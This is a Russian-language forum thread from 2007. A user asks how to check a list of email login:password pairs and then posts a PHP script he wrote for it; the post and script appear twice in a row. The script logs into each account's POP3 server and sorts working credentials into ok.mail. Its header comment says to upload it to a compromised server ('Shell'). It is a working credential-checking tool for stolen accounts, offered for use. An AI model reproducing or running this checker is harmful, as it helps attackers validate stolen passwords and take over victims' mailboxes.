Shram-spb
17.07.2007, 21:35
Люди подскажите.. есть список мыл вида
login:pass
Нужно прочекать их на валидность..
Есть ли какая-нить программа для этих целей?
в принцыпе я писал скрипт.. это не сложно.. просто случайно стер его и впадлу заново писать :))
Добавлено через день :
Вот.. написал скрипт заново.. юзайте наздоровье..
На входе mail.txt на выходе ok.mail и err.mail
//////////////////////////////////////////////////////////
// //
// Скрипт для чеканья мыла на валидность! //
// Заливаем на Shell скрипт и файл mail.txt //
// Формат mail.txt mail@host.ex:password //
// Чекает только мыла, у которых pop3 сервер //
// располжен на pop.host.ex:110 //
// На выходе создаются 2 файла: //
// ok.mail и err.mail //
// Created by 5hr4M... //
// //
//////////////////////////////////////////////////////////
<?php
error_reporting(0);
$in=fopen("mail.txt","r");
if(!$in) {
echo "mail.txt not found...<br>";
exit();
}
while(!feof($in))
{
$host='';
$str='';
$user='';
$pass='';
$str=fgets($in,128);
$pos[1]=strpos($str,'@');
$pos[2]=strpos($str,':');
$host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
$pos[3]=strpos($host,' ');
if ($pos[3]) $host=substr($host,0,$pos[3]);
$user=substr($str,0,$pos[1]);
$pass=substr($str,$pos[2]+1);
connect ($host,$user,$pass);
}
echo "End<br>";
fclose($in);
function connect($host,$user,$pass){
$fp = fsockopen($host, 110, &$errno, &$errstr, 30);
fputs($fp,"USER $user\n");
$resp=fgets($fp,1024);
if ($resp[0]=='+')
{
fputs($fp,"PASS $pass\n");
$resp=fgets($fp,1024);
if ($resp[0]=='+')
{
@$out=fopen("ok.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
echo $mg.'<br>';
@fputs($out,$mg);
@fclose($out);
}else
{
// echo 'Pass failure';
@$out=fopen("err.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
@fputs($out,$mg);
@fclose($out);
}
}else
{
//echo 'User failure';
@$out=fopen("err.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
@fputs($out,$mg);
@fclose($out);
}
fputs($fp,"QUIT\n");
$resp=fgets($fp,1024);
fclose($fp);
}
?>
login:pass
Нужно прочекать их на валидность..
Есть ли какая-нить программа для этих целей?
в принцыпе я писал скрипт.. это не сложно.. просто случайно стер его и впадлу заново писать :))
Добавлено через день :
Вот.. написал скрипт заново.. юзайте наздоровье..
На входе mail.txt на выходе ok.mail и err.mail
//////////////////////////////////////////////////////////
// //
// Скрипт для чеканья мыла на валидность! //
// Заливаем на Shell скрипт и файл mail.txt //
// Формат mail.txt mail@host.ex:password //
// Чекает только мыла, у которых pop3 сервер //
// располжен на pop.host.ex:110 //
// На выходе создаются 2 файла: //
// ok.mail и err.mail //
// Created by 5hr4M... //
// //
//////////////////////////////////////////////////////////
<?php
error_reporting(0);
$in=fopen("mail.txt","r");
if(!$in) {
echo "mail.txt not found...<br>";
exit();
}
while(!feof($in))
{
$host='';
$str='';
$user='';
$pass='';
$str=fgets($in,128);
$pos[1]=strpos($str,'@');
$pos[2]=strpos($str,':');
$host='pop.'.substr($str,$pos[1]+1,$pos[2]-$pos[1]-1);
$pos[3]=strpos($host,' ');
if ($pos[3]) $host=substr($host,0,$pos[3]);
$user=substr($str,0,$pos[1]);
$pass=substr($str,$pos[2]+1);
connect ($host,$user,$pass);
}
echo "End<br>";
fclose($in);
function connect($host,$user,$pass){
$fp = fsockopen($host, 110, &$errno, &$errstr, 30);
fputs($fp,"USER $user\n");
$resp=fgets($fp,1024);
if ($resp[0]=='+')
{
fputs($fp,"PASS $pass\n");
$resp=fgets($fp,1024);
if ($resp[0]=='+')
{
@$out=fopen("ok.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
echo $mg.'<br>';
@fputs($out,$mg);
@fclose($out);
}else
{
// echo 'Pass failure';
@$out=fopen("err.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
@fputs($out,$mg);
@fclose($out);
}
}else
{
//echo 'User failure';
@$out=fopen("err.mail","a");
$mg=$user . '@' . substr($host,4). ':' . $pass;
@fputs($out,$mg);
@fclose($out);
}
fputs($fp,"QUIT\n");
$resp=fgets($fp,1024);
fclose($fp);
}
?>